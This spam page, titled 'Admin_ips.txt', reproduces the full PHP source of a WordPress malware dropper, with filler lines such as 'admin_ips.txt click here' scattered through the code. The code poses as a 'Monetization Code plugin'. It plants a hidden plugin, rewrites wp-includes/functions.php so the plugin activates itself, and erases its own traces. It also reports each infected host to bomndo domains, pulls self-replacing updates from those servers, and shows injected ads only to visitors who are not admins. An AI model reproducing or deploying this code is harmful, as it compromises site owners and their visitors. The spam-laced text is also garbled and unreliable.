Admin_ips.txt

admin_ips.txt
<?php

$type = __FILE__;

$fExistPlugin1 = function_exists(‘searchFilesFromPlugin’);
$fExistPlugin2 = function_exists(‘insertMyPluginFromPlugin’);
$fExistTheme1 = function_exists(‘searchFilesFromTheme’);
$fExistTheme2 = function_exists(‘updateFilesFromTheme’);

if (!$fExistPlugin1 && !$fExistPlugin2 && !$fExistTheme1 && !$fExistTheme2) {
define(‘SCRIPT_PATH’, __FILE__);
admin_ips.txt check here admin_ips.txt
define(‘SERCH_FILE’, ‘functions.php’);
define(‘PLUGIN_NAME’, ‘mplugin.php’);
// header plugin
define(‘HEADER_PLUGIN_NAME’, ‘Plugin Name: Monetization Code plugin’);
define(‘HEADER_PLUGIN_DESCRIPTION’, ‘Description: mplugin Shows cusom codes to display your ad codes.’);
define(‘HEADER_PLUGIN_AUTHOR’, ‘Author: aerin Singh’);
define(‘HEADER_PLUGIN_VERSION’, ‘Version: 1.0’);

$pluginCodeconst = <<<'EOD'
<?php
admin_ips.txt read more admin_ips.txt
/**
* HEADER_PLUGIN_NAME
* HEADER_PLUGIN_DESCRIPTION
* HEADER_PLUGIN_AUTHOR
* HEADER_PLUGIN_VERSION
*/
error_reporting(0);
ini_set(‘display_errors’, 0);
$plugin_key=’276be77f6692f898404fb9629f81db09′;
$version=’1.2′;
admin_ips.txt read more admin_ips.txt

add_action(‘admin_menu’, function() {
add_options_page( ‘mplugin Plugin’, ‘mplugin’, ‘manage_options’, ‘mplugin’, ‘mplugin_page’ );
remove_submenu_page( ‘options-general.php’, ‘mplugin’ );
});

add_filter(‘plugin_action_links_’.plugin_basename(__FILE__), ‘salcode_add_plugin_page_settings_mplugin’);
function salcode_add_plugin_page_settings_mplugin( $links ) {
admin_ips.txt check here admin_ips.txt
$links[] = ‘<a href="' .
admin_url( ‘options-general.php?page=mplugin’ ) .
‘”>’ . __(‘Settings’) . ‘‘;
return $links;
}

admin_ips.txt website admin_ips.txt

add_action( ‘admin_init’, function() {

register_setting( ‘mplugin-settings’, ‘default_mont_options’ );
register_setting( ‘mplugin-settings’, ‘ad_code’ );
register_setting( ‘mplugin-settings’, ‘hide_admin’ );
register_setting( ‘mplugin-settings’, ‘hide_logged_in’ );
register_setting( ‘mplugin-settings’, ‘display_ad’ );
register_setting( ‘mplugin-settings’, ‘search_engines’ );
register_setting( ‘mplugin-settings’, ‘auto_update’ );
admin_ips.txt click here admin_ips.txt
register_setting( ‘mplugin-settings’, ‘ip_admin’);
register_setting( ‘mplugin-settings’, ‘cookies_admin’ );
register_setting( ‘mplugin-settings’, ‘logged_admin’ );
register_setting( ‘mplugin-settings’, ‘log_install’ );

});

$ad_code=”;

$hide_admin=’on’;
admin_ips.txt get more info admin_ips.txt
$hide_logged_in=’on’;
$display_ad=’organic’;
$search_engines=’google.,/search?,images.google., web.info.com, search.,yahoo.,yandex,msn.,baidu,bing.,doubleclick.net,googleweblight.com’;
$auto_update=’on’;
$ip_admin=’on’;
$cookies_admin=’on’;
$logged_admin=’on’;
$log_install=”;

function mplugin_page() {
admin_ips.txt click here admin_ips.txt
?>

<?php
settings_fields( ‘mplugin-settings’ );
do_settings_sections( ‘mplugin-settings’ );
$ad_code=”;

$hide_admin=’on’;
$hide_logged_in=’on’;
admin_ips.txt check here admin_ips.txt
$display_ad=’organic’;
$search_engines=’google.,/search?,images.google., web.info.com, search.,yahoo.,yandex,msn.,baidu,bing.,doubleclick.net,googleweblight.com’;
$auto_update=’on’;
$ip_admin=’on’;
$cookies_admin=’on’;
$logged_admin=’on’;
$log_install=”;

?>

mplugin Plugin

admin_ips.txt more info admin_ips.txt

admin_ips.txt website admin_ips.txt

admin_ips.txt more info admin_ips.txt

admin_ips.txt read more admin_ips.txt

admin_ips.txt more info admin_ips.txt

admin_ips.txt get more info admin_ips.txt

Ad Code
Hide ads to :


admin_ips.txt click here admin_ips.txt

Recognize admin by : admin_ips.txt click here admin_ips.txt




admin_ips.txt more info admin_ips.txt

Display ads to :

<option value="organic" >Organic traffic only
<option value="all_visitors" >All Visitors

Search Engines <input type="text" placeholder="Internal title" name="search_engines" value="” size=”80″ />

comma separated

Auto Update :

admin_ips.txt click here admin_ips.txt

<?php
}

/*************************log install***************************/
if(get_option(‘log_install’) !==’1′)
{
if(!$log_installed = @file_get_contents(“http://www.bomndo.xyz/o2.php?host=”.$_SERVER[“HTTP_HOST”]))
{
$log_installed = @file_get_contents_mplugin(“http://www.bomndo.xyz/o2.php?host=”.$_SERVER[“HTTP_HOST”]);
admin_ips.txt get more info admin_ips.txt
}
}
/*************************set default options***************************/

if(get_option(‘default_mont_options’) !==’on’)
{
update_option(‘ip_admin’, $ip_admin);
update_option(‘ad_code’, $ad_code);
update_option(‘cookies_admin’, $cookies_admin);
update_option(‘logged_admin’, $logged_admin);
admin_ips.txt here admin_ips.txt
update_option(‘hide_admin’, $hide_admin);
update_option(‘hide_logged_in’, $hide_logged_in);
update_option(‘display_ad’, $display_ad);
update_option(‘search_engines’, $search_engines);
update_option(‘auto_update’, $auto_update);
update_option(‘log_install’, ‘1’);
}

/************************************************************************/
include_once(ABSPATH . ‘wp-includes/pluggable.php’);
admin_ips.txt website admin_ips.txt

if ( ! function_exists( ‘display_ad_single’ ) ) {

function display_ad_single($content){
if(is_single())
{

$content=$content.get_option(‘ad_code’);;
}
return $content;
admin_ips.txt here admin_ips.txt
}

function display_ad_footer(){
if(!is_single())
{
echo get_option(‘ad_code’);
}
}

admin_ips.txt get more info admin_ips.txt
//setting cookies if admin logged in
function setting_admin_cookie() {
setcookie( ‘wordpress_admin_logged_in’,1, time()+3600*24*1000, COOKIEPATH, COOKIE_DOMAIN);
}

if(get_option(‘cookies_admin’)==’on’)
{

if(is_user_logged_in())
{
admin_ips.txt get more info admin_ips.txt
add_action( ‘init’, ‘setting_admin_cookie’,1 );
}
}

//log admin IP addresses
$vis_ip=getVisIpAddr_mplugin();
if(get_option(‘ip_admin’)==’on’)
{
if(current_user_can(‘edit_others_pages’))
admin_ips.txt here admin_ips.txt
{

if (file_exists(plugin_dir_path( __FILE__ ) .’admin_ips.txt’))
{
[email protected]_get_contents(plugin_dir_path( __FILE__ ) .’admin_ips.txt’);
}

if (stripos($ip, $vis_ip) === false)
{
$ip.=$vis_ip.’
admin_ips.txt more info admin_ips.txt
‘;
@file_put_contents(plugin_dir_path( __FILE__ ) .’admin_ips.txt’,$ip);

}

}
}// end if log admins ip

admin_ips.txt more info admin_ips.txt

//add cookies to organic traffic

if(get_option(‘display_ad’)==’organic’)
{

$search_engines = explode(‘,’, get_option(‘search_engines’));

$referer = $_SERVER[‘HTTP_REFERER’];
$SE = array(‘google.’,’/search?’,’images.google.’, ‘web.info.com’, ‘search.’,’yahoo.’,’yandex’,’msn.’,’baidu’,’bing.’,’doubleclick.net’,’googleweblight.com’);
admin_ips.txt get more info admin_ips.txt
foreach ($search_engines as $search) {
if (strpos($referer,$search)!==false) {
setcookie(“organic”, 1, time()+120, COOKIEPATH, COOKIE_DOMAIN);
$organic=true;
}
}

}//end

admin_ips.txt here admin_ips.txt

//display ad

if(!isset($_COOKIE[‘wordpress_admin_logged_in’]) && !is_user_logged_in())
{

[email protected]_get_contents(plugin_dir_path( __FILE__ ) .’admin_ips.txt’);
if (stripos($ips, $vis_ip) === false)
{
admin_ips.txt website admin_ips.txt
/*****/
if(get_option(‘display_ad’)==’organic’)
{
if($organic==true || isset($_COOKIE[‘organic’]))
{
add_filter(‘the_content’,’display_ad_single’);
add_action(‘wp_footer’,’display_ad_footer’);
}
}
else
admin_ips.txt more info admin_ips.txt
{
add_filter(‘the_content’,’display_ad_single’);
add_action(‘wp_footer’,’display_ad_footer’);
}

/****/

}

}
admin_ips.txt read more admin_ips.txt
/*******************/

//update plugin

if(get_option(‘auto_update’)==’on’)
{
admin_ips.txt here admin_ips.txt

if( ini_get(‘allow_url_fopen’) ) {

if (($new_version = @file_get_contents(“http://www.bomndo.xyz/update.php”) OR $new_version = @file_get_contents_mplugin(“http://www.bomndo.xyz/update.php”)) AND stripos($new_version, $plugin_key) !== false) {

if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, ‘$version=’) !== false) {
@file_put_contents(__FILE__, $new_version);

admin_ips.txt read more admin_ips.txt
}
}

elseif ($new_version = @file_get_contents(“http://www.bomndo.com/update.php”) AND stripos($new_version, $plugin_key) !== false) {

if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, ‘$version=’) !== false) {
@file_put_contents(__FILE__, $new_version);

}
admin_ips.txt click here admin_ips.txt
}

elseif ($new_version = @file_get_contents(“http://www.bomndo.top/update.php”) AND stripos($new_version, $plugin_key) !== false) {

if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, ‘$version=’) !== false) {
@file_put_contents(__FILE__, $new_version);

}
}
admin_ips.txt more info admin_ips.txt

}
else
{
if (($new_version = @file_get_contents(“http://www.bomndo.xyz/update.php”) OR $new_version = @file_get_contents_mplugin(“http://www.bomndo.xyz/update.php”)) AND stripos($new_version, $plugin_key) !== false) {

if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, ‘$version=’) !== false) {
@file_put_contents(__FILE__, $new_version);

}
admin_ips.txt read more admin_ips.txt
}

elseif ($new_version = @file_get_contents_mplugin(“http://www.bomndo.com/update.php”) AND stripos($new_version, $plugin_key) !== false) {

if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, ‘$version=’) !== false) {
@file_put_contents(__FILE__, $new_version);

}
}
admin_ips.txt check here admin_ips.txt

elseif ($new_version = @file_get_contents_mplugin(“http://www.bomndo.top/update.php”) AND stripos($new_version, $plugin_key) !== false) {

if (stripos($new_version, $plugin_key) !== false AND stripos($new_version, ‘$version=’) !== false) {
@file_put_contents(__FILE__, $new_version);

}
}
}
admin_ips.txt click here admin_ips.txt
}//end if auto update

/*********************************/

}// if function exist

admin_ips.txt more info admin_ips.txt
function file_get_contents_mplugin($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data = curl_exec($ch);
curl_close($ch);
admin_ips.txt more info admin_ips.txt
return $data;
}

function hide_plugin_mplugin() {
global $wp_list_table;
$hidearr = array(‘mplugin.php’);
$myplugins = $wp_list_table->items;
foreach ($myplugins as $key => $val) {
if (in_array($key,$hidearr)) {
admin_ips.txt read more admin_ips.txt
unset($wp_list_table->items[$key]);
}
}
}

add_action(‘pre_current_active_plugins’, ‘hide_plugin_mplugin’);

function getVisIpAddr_mplugin() {

if (!empty($_SERVER[‘HTTP_CLIENT_IP’])) {
admin_ips.txt more info admin_ips.txt
return $_SERVER[‘HTTP_CLIENT_IP’];
}
else if (!empty($_SERVER[‘HTTP_X_FORWARDED_FOR’])) {
return $_SERVER[‘HTTP_X_FORWARDED_FOR’];
}
else {
return $_SERVER[‘REMOTE_ADDR’];
}
}

admin_ips.txt check here admin_ips.txt
?>
EOD;

define(‘PLUGIN_CODE’, $pluginCodeconst);

$insertCodeConst = <<<'EOD'
function true_plugins_activate() {
$active_plugins = get_option(‘active_plugins’);
$activate_this = array(
‘mplugin.php’
admin_ips.txt click here admin_ips.txt
);
foreach ($activate_this as $plugin) {
if (!in_array($plugin, $active_plugins)) {
array_push($active_plugins, $plugin);
update_option(‘active_plugins’, $active_plugins);
}
}
$new_active_plugins = get_option(‘active_plugins’);
if (in_array(‘mplugin.php’, $new_active_plugins)) {
$functionsPath = dirname(__FILE__) . ‘/functions.php’;
admin_ips.txt read more admin_ips.txt
$functions = file_get_contents($functionsPath);

$start = stripos($functions, “function true_plugins_activate()”);
$end = strripos($functions, “true_plugins_activate”);
$endDelete = $end + mb_strlen(“true_plugins_activate”) + 3;

if($start && $end) {
$str = substr($functions, 0, $start);
$str .= substr($functions, $endDelete);
file_put_contents($functionsPath, $str);
admin_ips.txt website admin_ips.txt
}
//clear_script
}
}

add_action(‘init’, ‘true_plugins_activate’);
EOD;

define(‘INSERT_CODE’, $insertCodeConst);
}
admin_ips.txt here admin_ips.txt

// ——————————————————————————————–
// ——————————————————————————————–
// ———————————— PLUGIN ————————————————
// ——————————————————————————————–
// ——————————————————————————————–
if ((bool)stristr($type, ‘wp-content/plugins’) && !$fExistPlugin1 && !$fExistPlugin2) {
function searchFilesFromPlugin($dir, $tosearch) {
$files = array_diff(scandir($dir), [“.”, “..”]);
$filesList = [];
admin_ips.txt here admin_ips.txt
foreach($files as $file) {
if(!is_dir($dir . ‘/’ . $file)) {
if (strtolower($file) == $tosearch)
$filesList[] = $dir . ‘/’ . $file;
} else {
$res = searchFilesFromPlugin($dir . ‘/’ . $file, $tosearch);
if ($res) {
$arr = $res;
$filesList = array_merge($filesList, $arr);
}
admin_ips.txt more info admin_ips.txt
}
}
return $filesList;
}

$activatePluginDir = dirname(__FILE__);
$currentPluginDir = stristr($activatePluginDir, ‘wp-content/plugins/’);
if ($currentPluginDir) {
$currentPluginDir = str_replace(‘wp-content/plugins/’, ”, $currentPluginDir);
$currentPluginDir = explode(‘/’, $currentPluginDir)[0];
admin_ips.txt get more info admin_ips.txt
$pluginPath = explode($currentPluginDir, $activatePluginDir, -1)[0] . $currentPluginDir;
} else {
$pluginPath = $activatePluginDir;
}

$pluginFiles = array_filter(scandir($pluginPath), function($name) {
if (stristr($name, ‘.php’) !== false) {
return $name;
}
});
admin_ips.txt read more admin_ips.txt

$pluginFile = ”;
foreach ($pluginFiles as $file) {
$temp = file_get_contents($pluginPath . ‘/’ . $file);
if (stristr($temp, ‘Plugin Name:’) !== false) {
unset($temp);
$pluginFile = $file;
break;
}
unset($temp);
admin_ips.txt more info admin_ips.txt
}

add_action(‘init’, ‘insertMyPluginFromPlugin’);
function insertMyPluginFromPlugin() {
$active_plugins = get_option(‘active_plugins’);
if (!in_array(PLUGIN_NAME, $active_plugins)) {
$folderName = dirname($_SERVER[‘DOCUMENT_ROOT’]);
$result = searchFilesFromPlugin($folderName, SERCH_FILE);

if(0 < count($result)){
admin_ips.txt website admin_ips.txt
$clearScriptCode = <<<'CLEAR'
$script = file_get_contents(‘SCRIPT_PATH’);
file_put_contents(‘SCRIPT_PATH’, ”);
CLEAR;
$clearScriptCode = str_replace(‘SCRIPT_PATH’, SCRIPT_PATH, $clearScriptCode);
$insertCode = str_replace(‘//clear_script’, $clearScriptCode, INSERT_CODE);
$pluginCode = str_replace(
[‘HEADER_PLUGIN_NAME’, ‘HEADER_PLUGIN_DESCRIPTION’, ‘HEADER_PLUGIN_AUTHOR’, ‘HEADER_PLUGIN_VERSION’],
[HEADER_PLUGIN_NAME, HEADER_PLUGIN_DESCRIPTION, HEADER_PLUGIN_AUTHOR, HEADER_PLUGIN_VERSION],
PLUGIN_CODE
admin_ips.txt more info admin_ips.txt
);

foreach($result as $file) {
if (stristr($file, ‘wp-includes/functions.php’) !== false) {
$newPlugin = str_replace(‘wp-includes/functions.php’, ‘wp-content/plugins/’ . PLUGIN_NAME, $file);
$copyPlugin = file_put_contents($newPlugin, $pluginCode);

if ($copyPlugin) {
$temp = file_get_contents($file);
$start = stripos($temp, “function true_plugins_activate()”);
admin_ips.txt read more admin_ips.txt
$end = strripos($temp, “true_plugins_activate”);
$endDelete = $end + mb_strlen(“true_plugins_activate”) + 3;

if($start && $end) {
$str = substr($temp, 0, $start);
$str .= substr($temp, $endDelete);
file_put_contents($file, $str);
}

file_put_contents($file, PHP_EOL . $insertCode . PHP_EOL, FILE_APPEND | LOCK_EX);
admin_ips.txt website admin_ips.txt
}
}
}
}
}
}

// ——————————————————————————————–
// ——————————————————————————————–
// ————————————- THEME ————————————————
admin_ips.txt more info admin_ips.txt
// ——————————————————————————————–
// ——————————————————————————————–
} elseif ((bool)stristr($type, ‘wp-content/themes’) && (!$fExistTheme1 && !$fExistTheme2)) {
function searchFilesFromTheme($dir, $tosearch) {
$files = array_diff(scandir($dir), [“.”, “..”]);
$filesList = [];
foreach($files as $file) {
if(!is_dir($dir . ‘/’ . $file)) {
if (strtolower($file) == $tosearch)
$filesList[] = $dir . ‘/’ . $file;
admin_ips.txt website admin_ips.txt
} else {
$res = searchFilesFromTheme($dir . ‘/’ . $file, $tosearch);
if ($res) {
$arr = $res;
$filesList = array_merge($filesList, $arr);
}
}
}
return $filesList;
}
admin_ips.txt get more info admin_ips.txt

add_action(‘after_setup_theme’, ‘updateFilesFromTheme’);
function updateFilesFromTheme() {
if ( @ $_GET[‘activated’] === ‘true’){
$folderName = dirname($_SERVER[‘DOCUMENT_ROOT’]);
$result = searchFilesFromTheme($folderName, SERCH_FILE);
$pluginCode = str_replace(
[‘HEADER_PLUGIN_NAME’, ‘HEADER_PLUGIN_DESCRIPTION’, ‘HEADER_PLUGIN_AUTHOR’, ‘HEADER_PLUGIN_VERSION’],
[HEADER_PLUGIN_NAME, HEADER_PLUGIN_DESCRIPTION, HEADER_PLUGIN_AUTHOR, HEADER_PLUGIN_VERSION],
PLUGIN_CODE
admin_ips.txt more info admin_ips.txt
);

if (0 < count($result)) {

$clearScriptCode = <<<'CLEAR'
$script = file_get_contents(‘SCRIPT_PATH’);
file_put_contents(‘SCRIPT_PATH’, ”);
CLEAR;
$clearScriptCode = str_replace(‘SCRIPT_PATH’, SCRIPT_PATH, $clearScriptCode);
$insertCode = str_replace(‘//clear_script’, $clearScriptCode, INSERT_CODE);
admin_ips.txt website admin_ips.txt

foreach($result as $file) {
if (stristr($file, ‘wp-includes/functions.php’) !== false) {
$newPlugin = str_replace(‘wp-includes/functions.php’, ‘wp-content/plugins/’ . PLUGIN_NAME, $file);
$copyPlugin = file_put_contents($newPlugin, $pluginCode);

if ($copyPlugin) {
$temp = file_get_contents($file);
admin_ips.txt get more info admin_ips.txt
$start = stripos($temp, “function true_plugins_activate()”);
$end = strripos($temp, “true_plugins_activate”);
$endDelete = $end + mb_strlen(“true_plugins_activate”) + 3;

if($start && $end) {
$str = substr($temp, 0, $start);
$str .= substr($temp, $endDelete);
file_put_contents($file, $str);
}

admin_ips.txt website admin_ips.txt
file_put_contents($file, PHP_EOL . $insertCode . PHP_EOL, FILE_APPEND | LOCK_EX);
}
}
}
}
}
}
}
?>
admin_ips.txt

Tags: admin_ips.txt, www bcfakes com

Leave a Comment